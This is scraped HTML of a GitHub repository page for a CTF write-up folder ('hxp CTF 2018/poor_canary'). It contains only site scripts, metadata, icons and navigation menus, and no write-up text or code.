<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script>
<title>ctf-write-ups/hxp CTF 2018/poor_canary at master · 0n3m4ns4rmy/ctf-write-ups · GitHub</title>
<meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)">
<meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6">
<meta name="request-id" content="D861:0F8F:199A6A93:1A657471:6412256F" data-pjax-transient="true"/><meta name="html-safe-nonce" content="34dd205a0865a13691205a08694e5a3e3c0ec29b8a8f2abb553c672dbeef91a5" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJEODYxOjBGOEY6MTk5QTZBOTM6MUE2NTc0NzE6NjQxMjI1NkYiLCJ2aXNpdG9yX2lkIjoiODk3NzU0Mjk5Njg2NzI5NDU3NSIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="f953b17ccad9df249ea0b5743877ae19169b63ed56f42724ccdbe5ba85207a24" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:142745576" data-turbo-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" />
<meta name="selected-link" value="repo_source" data-turbo-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" />
<meta name="user-login" content="">
<meta name="viewport" content="width=device-width"> <meta name="description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/136de68f1572911bda3840b5a19dfd7d98dbc2d023201d18f5892a8db807bccc/0n3m4ns4rmy/ctf-write-ups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="ctf-write-ups/hxp CTF 2018/poor_canary at master · 0n3m4ns4rmy/ctf-write-ups" /><meta name="twitter:description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/136de68f1572911bda3840b5a19dfd7d98dbc2d023201d18f5892a8db807bccc/0n3m4ns4rmy/ctf-write-ups" /><meta property="og:image:alt" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="ctf-write-ups/hxp CTF 2018/poor_canary at master · 0n3m4ns4rmy/ctf-write-ups" /><meta property="og:url" content="https://github.com/0n3m4ns4rmy/ctf-write-ups" /><meta property="og:description" content="Contribute to 0n3m4ns4rmy/ctf-write-ups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/">
<meta name="hostname" content="github.com">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS">
<meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload">
<meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
<meta data-hydrostats="publish">
<meta name="go-import" content="github.com/0n3m4ns4rmy/ctf-write-ups git https://github.com/0n3m4ns4rmy/ctf-write-ups.git">
<meta name="octolytics-dimension-user_id" content="41856372" /><meta name="octolytics-dimension-user_login" content="0n3m4ns4rmy" /><meta name="octolytics-dimension-repository_id" content="142745576" /><meta name="octolytics-dimension-repository_nwo" content="0n3m4ns4rmy/ctf-write-ups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="142745576" /><meta name="octolytics-dimension-repository_network_root_nwo" content="0n3m4ns4rmy/ctf-write-ups" />
<link rel="canonical" href="https://github.com/0n3m4ns4rmy/ctf-write-ups/tree/master/hxp%20CTF%202018/poor_canary" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button>
<div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg>
<div class="flex-1"> Sign up </div>
<div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div>
<div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div>
<svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div>
Explore
All features
Documentation
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
GitHub Skills
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
